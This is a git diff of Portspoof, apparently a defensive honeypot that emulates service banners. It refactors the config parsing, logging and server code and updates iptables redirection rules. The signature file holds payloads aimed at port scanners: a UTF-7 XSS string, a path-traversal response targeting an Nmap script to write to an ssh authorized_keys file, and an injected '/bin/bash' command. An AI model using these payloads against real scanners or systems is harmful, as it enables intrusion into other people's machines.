static std::vector<char> unescape( std::vector<char>& s);
|
||||||
static std::vector<char> str2vector( std::string& s);
|
static std::vector<char> str2vector( std::string& s);
|
||||||
|
static void log_create(const char* file);
|
||||||
|
static void log_write(Configuration* configuration,const char* msg);
|
||||||
|
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
126
src/config_file.c
Normal file → Executable file
126
src/config_file.c
Normal file → Executable file
@ -1,5 +1,13 @@
|
|||||||
|
#include "config_file.h"
|
||||||
|
|
||||||
|
int isNumeric (const char * s)
|
||||||
|
{
|
||||||
|
if (s == NULL || *s == '\0' || isspace(*s))
|
||||||
|
return 0;
|
||||||
|
char * p;
|
||||||
|
strtod(s, &p);
|
||||||
|
return *p == '\0';
|
||||||
|
}
|
||||||
|
|
||||||
char * get_substring_value(char* str)
|
char * get_substring_value(char* str)
|
||||||
{
|
{
|
||||||
@ -37,3 +45,119 @@ char * get_substring_value(char* str)
|
|||||||
return substr;
|
return substr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int get_nr_of_payloads(char* config_file)
|
||||||
|
{
|
||||||
|
|
||||||
|
FILE *fp = fopen(config_file, "r");
|
||||||
|
if (fp == NULL) {
|
||||||
|
printf("Error opening file: %s \n",config_file);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
char tmp[BUFSIZE],str1[BUFSIZE], str2[BUFSIZE];
|
||||||
|
int nr_of_payloads=0;
|
||||||
|
|
||||||
|
while (fgets(tmp, BUFSIZE, fp))
|
||||||
|
if (strlen(tmp) >1 && tmp[0]!='#')
|
||||||
|
{
|
||||||
|
|
||||||
|
if(sscanf(tmp, "%s %s",str1,str2)==EOF){
|
||||||
|
printf("Error in configuration file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(str1==NULL || str2==NULL)
|
||||||
|
{
|
||||||
|
printf("Error in configuration file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
nr_of_payloads++;
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(fp);
|
||||||
|
|
||||||
|
return nr_of_payloads;
|
||||||
|
}
|
||||||
|
|
||||||
|
int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file)
|
||||||
|
{
|
||||||
|
|
||||||
|
FILE *fp = fopen(config_file, "r");
|
||||||
|
if (fp == NULL) {
|
||||||
|
printf("Error opening file: %s \n",config_file);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
char tmp[BUFSIZE], str1[BUFSIZE], str2[BUFSIZE];
|
||||||
|
int i=0,lp,hp;
|
||||||
|
char* substr;
|
||||||
|
int len;
|
||||||
|
|
||||||
|
while (fgets(tmp, BUFSIZE, fp))
|
||||||
|
if (strlen(tmp) >1 && tmp[0]!='#')
|
||||||
|
{
|
||||||
|
|
||||||
|
if(sscanf(tmp, "%s %s",(char *)str1,str2)==EOF){
|
||||||
|
printf("Error in configuration file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(str1==NULL || str2==NULL)
|
||||||
|
{
|
||||||
|
printf("Error in configuration file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(isNumeric(str1)) //single port
|
||||||
|
{
|
||||||
|
sscanf(str1,"%d",&lp);
|
||||||
|
substr=get_substring_value(tmp);
|
||||||
|
//DEBUG
|
||||||
|
//printf("port %d value: %s\n",lp,substr);
|
||||||
|
len=strlen(substr);
|
||||||
|
((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);;
|
||||||
|
((signature*)(arr_lines2[num_lines+i-1]))->len=len;
|
||||||
|
|
||||||
|
|
||||||
|
signatures[lp]=num_lines+i-1;
|
||||||
|
i++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(sscanf(str1, "%d-%d",&lp,&hp)==EOF){
|
||||||
|
printf("Error in configuration file\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(lp==0 || hp==0)
|
||||||
|
{
|
||||||
|
printf("Error in configuration file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
substr=get_substring_value(tmp);
|
||||||
|
//DEBUG
|
||||||
|
//printf("range port %d-%d value: %s\n",lp,hp,substr);
|
||||||
|
|
||||||
|
len=strlen(substr);
|
||||||
|
((signature*)(arr_lines2[num_lines+i-1]))->cptr=process_signature(substr,&len);;
|
||||||
|
((signature*)(arr_lines2[num_lines+i-1]))->len=len;
|
||||||
|
|
||||||
|
int port=lp;
|
||||||
|
for(port;port<=hp;port++)
|
||||||
|
{
|
||||||
|
signatures[port]=num_lines+i-1;
|
||||||
|
}
|
||||||
|
|
||||||
|
i++;
|
||||||
|
continue;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(fp);
|
||||||
|
return 0;
|
||||||
|
}
|
9
src/config_file.h
Normal file → Executable file
9
src/config_file.h
Normal file → Executable file
@ -1,6 +1,9 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include "revregex.h"
|
||||||
|
#include "connection.h"
|
||||||
|
|
||||||
int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file);
|
int process_config_file(struct signature **arr_lines2,int* signatures,int num_lines, char* config_file);
|
||||||
char *get_substring_value(char* str);
|
char *get_substring_value(char* str);
|
||||||
|
int get_nr_of_payloads(char* config_file);
|
||||||
|
@ -1,4 +1,6 @@
|
|||||||
550 4m2v4 (__FUZZ__)
|
|
||||||
+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ__/xxx.\r\n
|
|
||||||
220 __FUZZ__ ESMTP OpenSMTPD\r\n
|
220 __FUZZ__ ESMTP OpenSMTPD\r\n
|
||||||
|
220 __FUZZ__ SMTP ready to roll\r\n
|
||||||
|
550 4m2v4 __FUZZ__
|
||||||
HTTP/1.0 200 OK\n<HTML><HEAD><TITLE>__FUZZ__'s desktop</TITLE></HEAD>\n<BODY>\n<APPLET CODE=vncviewer/VNCViewer.class ARCHIVE=vncviewer.jar WIDTH=44 HEIGHT=44>\n\t<param name=PORT value=4444>\n</APPLET>\n</BODY></HTML>\n
|
HTTP/1.0 200 OK\n<HTML><HEAD><TITLE>__FUZZ__'s desktop</TITLE></HEAD>\n<BODY>\n<APPLET CODE=vncviewer/VNCViewer.class ARCHIVE=vncviewer.jar WIDTH=44 HEIGHT=44>\n\t<param name=PORT value=4444>\n</APPLET>\n</BODY></HTML>\n
|
||||||
|
HTTP/1.0 200 OK\r\nServer: Apache/__FUZZ__(Amazon)\r\nX-Powered-By: ASP\.NET\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nX-Powered-By: PHP/xxx\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\n<title>Log In - Juniper Web Device Manager</title><address>Apache mod_perl/2.0.4 Perl/v5.10.1 Server at devtest.myhost.co.za Port 80</address>
|
||||||
|
+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ__/xxx.\r\n
|
||||||
|
@ -1,18 +1,22 @@
|
|||||||
# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:41 2013
|
# Generated by iptables-save v1.4.4 on Wed Jul 10 07:22:28 2013
|
||||||
*nat
|
|
||||||
:PREROUTING ACCEPT [5992:539002]
|
|
||||||
:INPUT ACCEPT [347451:16935290]
|
|
||||||
:OUTPUT ACCEPT [477:45868]
|
|
||||||
:POSTROUTING ACCEPT [0:0]
|
|
||||||
-A PREROUTING -i eth1 -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444
|
|
||||||
-A PREROUTING -i eth1 -p tcp -m tcp --dport 23:65535 -j REDIRECT --to-ports 4444
|
|
||||||
COMMIT
|
|
||||||
# Completed on Tue Apr 23 14:26:42 2013
|
|
||||||
# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:42 2013
|
|
||||||
*filter
|
*filter
|
||||||
:INPUT ACCEPT [1931192:104113948]
|
:INPUT ACCEPT [1678171:82111055]
|
||||||
:FORWARD ACCEPT [0:0]
|
:FORWARD ACCEPT [0:0]
|
||||||
:OUTPUT ACCEPT [1606583:151106362]
|
:OUTPUT ACCEPT [937893:145800979]
|
||||||
-A FORWARD -j ACCEPT
|
-A FORWARD -j ACCEPT
|
||||||
COMMIT
|
COMMIT
|
||||||
# Completed on Tue Apr 23 14:26:42 2013
|
# Completed on Wed Jul 10 07:22:28 2013
|
||||||
|
# Generated by iptables-save v1.4.4 on Wed Jul 10 07:22:28 2013
|
||||||
|
*nat
|
||||||
|
:PREROUTING ACCEPT [4352:332304]
|
||||||
|
:INPUT ACCEPT [549244:30422764]
|
||||||
|
:OUTPUT ACCEPT [136:14911]
|
||||||
|
:POSTROUTING ACCEPT [0:0]
|
||||||
|
-A PREROUTING -i eth1 -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444
|
||||||
|
-A PREROUTING -i eth1 -p tcp -m tcp --dport 23:65335 -j REDIRECT --to-ports 4444
|
||||||
|
-A PREROUTING -d 91.220.39.30/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.97.1:8080
|
||||||
|
-A PREROUTING -d 91.220.39.30/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.97.1:8080
|
||||||
|
-A POSTROUTING -j MASQUERADE
|
||||||
|
-A POSTROUTING -o eth1 -j MASQUERADE
|
||||||
|
COMMIT
|
||||||
|
# Completed on Wed Jul 10 07:22:28 2013
|
||||||
|
@ -73,6 +73,7 @@
|
|||||||
49 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
49 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||||
50 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
50 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||||
|
|
||||||
|
90 "550 4m2v4 Interesting ports on \x22id|/bin/bash;#\x22:"
|
||||||
#Example: port range
|
#Example: port range
|
||||||
|
|
||||||
51-60 "550 4m2v4 (FUZZ_HERE)"
|
51-60 "550 4m2v4 (FUZZ_HERE)"
|
||||||
@ -88,20 +89,18 @@
|
|||||||
8100 "220 FUZZ_HERE ESMTP OpenSMTPD\r\n"
|
8100 "220 FUZZ_HERE ESMTP OpenSMTPD\r\n"
|
||||||
8101 "220 FUZZ_HERE SMTP ready to roll\r\n"
|
8101 "220 FUZZ_HERE SMTP ready to roll\r\n"
|
||||||
8102 "550 12345 FUZZ_HERE"
|
8102 "550 12345 FUZZ_HERE"
|
||||||
8103 "+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ_HERE__\r\n"
|
|
||||||
8104 "HTTP/1.0 200 OK\r\nServer: Apache/__FUZZ__(Amazon)\r\nX-Powered-By: ASP\.NET\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nX-Powered-By: PHP/xxx\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\n<title>Log In - Juniper Web Device Manager</title><address>Apache mod_perl/2.0.4 Perl/v5.10.1 Server at devtest.myhost.co.za Port 80</address>"
|
|
||||||
|
|
||||||
## EXPLOITS ##
|
|
||||||
|
|
||||||
# McAffee Superscan 4.0 UTF7 XSS 0day (old browsers)
|
|
||||||
|
|
||||||
9090 "550 12345 +ADw-img src=x onerror='a setter=alert,a=\x22UTF-7-XSS\x22; '+AD4-"
|
9090 "550 12345 +ADw-img src=x onerror='a setter=alert,a=\x22UTF-7-XSS\x22; '+AD4-"
|
||||||
|
|
||||||
|
|
||||||
# NMAP NSE 0day remote file upload
|
## EXPLOITS ##
|
||||||
# Vulnerable command:
|
|
||||||
#nmap --script http-domino-enum-passwords.nse -p 80 172.16.37.149 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.idpath='/tmp/test'
|
# NMAP
|
||||||
|
#./nmap --script ./scripts/http-domino-enum-passwords.nse -p 80 172.16.37.149 -sC -PN -n --script-args domino-enum-passwords.username='xxx',domino-enum-passwords.password='secr',domino-enum-passwords.idpath='/tmp/test'
|
||||||
|
|
||||||
80 "HTTP/1\.0 200 OK\r\nServer: Apache/(IBM_Lotus_Domino_v\.6\.5\.\d)\r\n\r\n<html>\r\n<body><a href=\x22user-UserID\x22>\r\n<input name=\x22HTTPPassword\x22 value=\x22PPASSS\x22>\r\n<input name=\x22FullName\x22 value=\x22\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2fUsers\x2fpduszynski\x2f\.ssh\x2fauthorized_keys\x00\x61\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x25\x64\x0d\x0a\x22>\r\a\r\n<a href=\x22\%?OpenDocumentddddd\x22>\r\n<form action=\x22aaa?ReadForm&\x22>\r\n</body>\r\n</html>\r\n\x0d\x0a\x0d\x0a"
|
80 "HTTP/1\.0 200 OK\r\nServer: Apache/(IBM_Lotus_Domino_v\.6\.5\.\d)\r\n\r\n<html>\r\n<body><a href=\x22user-UserID\x22>\r\n<input name=\x22HTTPPassword\x22 value=\x22PPASSS\x22>\r\n<input name=\x22FullName\x22 value=\x22\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2fUsers\x2fpduszynski\x2f\.ssh\x2fauthorized_keys\x00\x61\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x5c\x25\x64\x0d\x0a\x22>\r\a\r\n<a href=\x22\%?OpenDocumentddddd\x22>\r\n<form action=\x22aaa?ReadForm&\x22>\r\n</body>\r\n</html>\r\n\x0d\x0a\x0d\x0a"
|
||||||
|
|
||||||
|
|
||||||
|
80 "whoami\n"
|
||||||
|
@ -41,13 +41,11 @@
|
|||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include "threads.h"
|
#include "Threads.h"
|
||||||
#include "connection.h"
|
#include "connection.h"
|
||||||
#include "log.h"
|
#include "log.h"
|
||||||
#include "Configuration.h"
|
#include "Configuration.h"
|
||||||
|
|
||||||
Thread threads[MAX_THREADS];
|
|
||||||
|
|
||||||
|
|
||||||
void nonblock(int sockfd)
|
void nonblock(int sockfd)
|
||||||
{
|
{
|
||||||
@ -116,7 +114,7 @@ void* process_connection(void *arg)
|
|||||||
msg=(char*)malloc(MAX_LOG_MSG_LEN);
|
msg=(char*)malloc(MAX_LOG_MSG_LEN);
|
||||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||||
log_write(msg);
|
Utils::log_write(configuration,msg);
|
||||||
free(msg);
|
free(msg);
|
||||||
//
|
//
|
||||||
|
|
||||||
@ -164,7 +162,7 @@ void* process_connection(void *arg)
|
|||||||
msg =(char*)malloc(MAX_LOG_MSG_LEN);
|
msg =(char*)malloc(MAX_LOG_MSG_LEN);
|
||||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Port_probe # REMOVING_SOCKET # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||||
log_write(msg);
|
Utils::log_write(configuration,msg);
|
||||||
free(msg);
|
free(msg);
|
||||||
//
|
//
|
||||||
|
|
||||||
@ -196,7 +194,7 @@ void* process_connection(void *arg)
|
|||||||
char* msg=(char*)malloc(MAX_LOG_MSG_LEN);
|
char* msg=(char*)malloc(MAX_LOG_MSG_LEN);
|
||||||
memset(msg,0,MAX_LOG_MSG_LEN);
|
memset(msg,0,MAX_LOG_MSG_LEN);
|
||||||
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Service_probe # SIGNATURE_SEND # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
snprintf(msg,MAX_LOG_MSG_LEN,"%d # Service_probe # SIGNATURE_SEND # source_ip:%s # dst_port:%d \n",(int)timestamp,(char*)inet_ntoa(peer_sockaddr.sin_addr),original_port);//" port:%d src_ip%s\n", original_port,;
|
||||||
log_write(msg);
|
Utils::log_write(configuration,msg);
|
||||||
free(msg);
|
free(msg);
|
||||||
//
|
//
|
||||||
|
|
||||||
@ -254,4 +252,6 @@ void* process_connection(void *arg)
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
}
|
}
|
||||||
|
@ -34,7 +34,7 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
#include <pthread.h>
|
#include <pthread.h>
|
||||||
#include "threads.h"
|
#include "Threads.h"
|
||||||
|
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
@ -59,12 +59,16 @@
|
|||||||
|
|
||||||
#include "revregex.h"
|
#include "revregex.h"
|
||||||
#include "Configuration.h"
|
#include "Configuration.h"
|
||||||
|
#include "Server.h"
|
||||||
|
|
||||||
|
#ifndef CONNECTION_H
|
||||||
|
#define CONNECTION_H
|
||||||
|
|
||||||
#define SO_ORIGINAL_DST 80
|
#define SO_ORIGINAL_DST 80
|
||||||
#define TCPSTATES
|
#define TCPSTATES
|
||||||
|
|
||||||
|
extern pthread_cond_t new_connection_cond;
|
||||||
|
extern pthread_mutex_t new_connection_mutex;
|
||||||
extern Thread threads[MAX_THREADS];
|
extern Thread threads[MAX_THREADS];
|
||||||
|
|
||||||
class Configuration;
|
class Configuration;
|
||||||
@ -72,3 +76,6 @@ extern Configuration* configuration;
|
|||||||
|
|
||||||
void nonblock(int sockfd);
|
void nonblock(int sockfd);
|
||||||
void* process_connection(void *arg);
|
void* process_connection(void *arg);
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
|
0
src/log.cpp
Normal file → Executable file
0
src/log.cpp
Normal file → Executable file
0
src/log.h
Normal file → Executable file
0
src/log.h
Normal file → Executable file
0
src/main.cpp
Normal file → Executable file
0
src/main.cpp
Normal file → Executable file
BIN
src/portspoof
BIN
src/portspoof
Binary file not shown.
@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* portspoof Service signature obfucastor
|
* Portspoof - Service Signature Emulator
|
||||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||||
*
|
*
|
||||||
* This program is free software; you can redistribute it and/or modify it
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
@ -16,16 +16,16 @@
|
|||||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||||
*
|
*
|
||||||
* Linking portspoof statically or dynamically with other modules is making
|
* Linking portspoof statically or dynamically with other modules is making
|
||||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||||
* the GNU General Public License cover the whole combination.
|
* the GNU General Public License cover the whole combination.
|
||||||
*
|
*
|
||||||
* In addition, as a special exception, the copyright holder of portspoof
|
* In addition, as a special exception, the copyright holder of Portspoof
|
||||||
* gives you permission to combine portspoof with free software programs or
|
* gives you permission to combine Portspoof with free software programs or
|
||||||
* libraries that are released under the GNU LGPL. You may copy
|
* libraries that are released under the GNU LGPL. You may copy
|
||||||
* and distribute such a system following the terms of the GNU GPL for
|
* and distribute such a system following the terms of the GNU GPL for
|
||||||
* portspoof and the licenses of the other code concerned.
|
* Portspoof and the licenses of the other code concerned.
|
||||||
*
|
*
|
||||||
* Note that people who make modified versions of portspoof are not obligated
|
* Note that people who make modified versions of Portspoof are not obligated
|
||||||
* to grant this special exception for their modified versions; it is their
|
* to grant this special exception for their modified versions; it is their
|
||||||
* choice whether to do so. The GNU General Public License gives permission
|
* choice whether to do so. The GNU General Public License gives permission
|
||||||
* to release a modified version without this exception; this exception
|
* to release a modified version without this exception; this exception
|
||||||
@ -34,61 +34,23 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <pthread.h>
|
|
||||||
#include <sys/timeb.h>
|
#include "Server.h"
|
||||||
#include <sys/wait.h>
|
#include "Configuration.h"
|
||||||
#include <err.h>
|
#include "threads.h"
|
||||||
#include <errno.h>
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <limits.h>
|
|
||||||
#include <netdb.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <signal.h>
|
|
||||||
|
|
||||||
#include "revregex.h"
|
#include "revregex.h"
|
||||||
#include "threads.h"
|
|
||||||
#include "connection.h"
|
#include "connection.h"
|
||||||
#include "log.h"
|
#include "log.h"
|
||||||
|
|
||||||
Configuration* configuration;
|
Configuration* configuration;
|
||||||
|
Server* server;
|
||||||
|
|
||||||
pthread_cond_t new_connection_cond = PTHREAD_COND_INITIALIZER;
|
|
||||||
pthread_mutex_t new_connection_mutex = PTHREAD_MUTEX_INITIALIZER;
|
|
||||||
|
|
||||||
|
|
||||||
int choose_thread()
|
|
||||||
{
|
|
||||||
int i=MAX_THREADS-1;
|
|
||||||
int min = i;
|
|
||||||
while(i >=0)
|
|
||||||
{
|
|
||||||
if(threads[i].client_count < threads[min].client_count)
|
|
||||||
{
|
|
||||||
min = i;
|
|
||||||
}
|
|
||||||
i--;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(threads[min].client_count==MAX_CLIENT_PER_THREAD)
|
|
||||||
return -1;
|
|
||||||
|
|
||||||
return min;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
int main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
|
|
||||||
int sockd,newsockfd;
|
|
||||||
int addrlen;
|
|
||||||
//int pid;
|
|
||||||
struct sockaddr_in my_name, peer_name;
|
|
||||||
int status;
|
|
||||||
|
|
||||||
|
|
||||||
configuration = new Configuration();
|
configuration = new Configuration();
|
||||||
|
|
||||||
if(configuration->processArgs(argc,argv))
|
if(configuration->processArgs(argc,argv))
|
||||||
@ -99,22 +61,8 @@ int main(int argc, char **argv)
|
|||||||
|
|
||||||
if(configuration->readConfigFile())
|
if(configuration->readConfigFile())
|
||||||
exit(1);
|
exit(1);
|
||||||
|
|
||||||
/*
|
|
||||||
if(configuration->getConfigValue(OPT_FUZZ_NMAP))
|
|
||||||
{
|
|
||||||
if(configuration->PrepareFuzzer())
|
|
||||||
{
|
|
||||||
fprintf(stdout,"Fuzzer prepare failed!\n");
|
|
||||||
fflush(stdout);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
fprintf(stdout,"-> Preparing fuzzer!\n");
|
|
||||||
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
|
|
||||||
|
|
||||||
//check log file
|
//check log file
|
||||||
if(configuration->getConfigValue(OPT_LOG_FILE))
|
if(configuration->getConfigValue(OPT_LOG_FILE))
|
||||||
@ -125,103 +73,12 @@ int main(int argc, char **argv)
|
|||||||
fprintf(stdout,"-> Using user defined signature file %s\n",configuration->getSignatureFile().c_str());
|
fprintf(stdout,"-> Using user defined signature file %s\n",configuration->getSignatureFile().c_str());
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
|
|
||||||
/* create thread pool */
|
|
||||||
for(int i = 0; i < MAX_THREADS; i++)
|
|
||||||
{
|
|
||||||
pthread_create(&threads[i].tid, NULL, &process_connection, (void *) i);
|
|
||||||
threads[i].client_count = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* create a socket */
|
|
||||||
sockd = socket(PF_INET, SOCK_STREAM, 0);
|
|
||||||
if (sockd == -1)
|
|
||||||
{
|
|
||||||
perror("Socket creation error");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
int n = 1;
|
|
||||||
setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n));
|
|
||||||
|
|
||||||
/* server address - by default localhost */
|
|
||||||
my_name.sin_family = PF_INET;
|
|
||||||
if(configuration->getConfigValue(OPT_IP))
|
|
||||||
{
|
|
||||||
fprintf(stdout,"-> Binding to iface: %s\n",configuration->getBindIP().c_str());
|
|
||||||
inet_aton(configuration->getBindIP().c_str(), &my_name.sin_addr);
|
|
||||||
|
|
||||||
}
|
|
||||||
else
|
|
||||||
my_name.sin_addr.s_addr = INADDR_ANY;
|
|
||||||
|
|
||||||
if(configuration->getConfigValue(OPT_PORT))
|
|
||||||
{
|
|
||||||
fprintf(stdout,"-> Binding to port: %d\n",configuration->getPort());
|
|
||||||
my_name.sin_port = htons(configuration->getPort());
|
|
||||||
|
|
||||||
}
|
|
||||||
else
|
|
||||||
my_name.sin_port = htons(DEFAULT_PORT);
|
|
||||||
|
|
||||||
status = bind(sockd, (struct sockaddr*)&my_name, sizeof(my_name));
|
|
||||||
if (status == -1)
|
|
||||||
{
|
|
||||||
perror("Binding error");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Set queue sizeof
|
|
||||||
status = listen(sockd, 10);
|
|
||||||
if (status == -1)
|
|
||||||
{
|
|
||||||
perror("Listen set error");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
int choosen;
|
|
||||||
while(1)
|
|
||||||
{
|
|
||||||
/* wait for a connection */
|
|
||||||
addrlen = sizeof(peer_name);
|
|
||||||
newsockfd = accept(sockd, (struct sockaddr*)&peer_name,(socklen_t*) &addrlen);
|
|
||||||
|
|
||||||
|
|
||||||
if (newsockfd < 0)
|
|
||||||
perror("ERROR on accept");
|
|
||||||
else{
|
|
||||||
|
|
||||||
nonblock(newsockfd);
|
|
||||||
|
|
||||||
start:
|
|
||||||
pthread_mutex_lock(&new_connection_mutex);
|
|
||||||
choosen=choose_thread();
|
|
||||||
|
|
||||||
|
|
||||||
if( choosen == -1)
|
|
||||||
{
|
|
||||||
pthread_mutex_unlock(&new_connection_mutex);
|
|
||||||
sleep(1);
|
|
||||||
goto start;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
if(configuration->getConfigValue(OPT_DEBUG))
|
//create portspoof
|
||||||
fprintf(stdout," new conn - thread choosen: %d - nr. of connections already in queue: %d\n",choosen,threads[choosen].client_count);
|
server = new Server(configuration);
|
||||||
fflush(stdout);
|
server->run();
|
||||||
|
|
||||||
for(int i = 0; i < MAX_CLIENT_PER_THREAD; i++)
|
|
||||||
{
|
|
||||||
if(threads[choosen].clients[i] == 0)
|
|
||||||
{
|
|
||||||
threads[choosen].clients[i] = newsockfd;
|
|
||||||
threads[choosen].client_count++;
|
|
||||||
break;
|
|
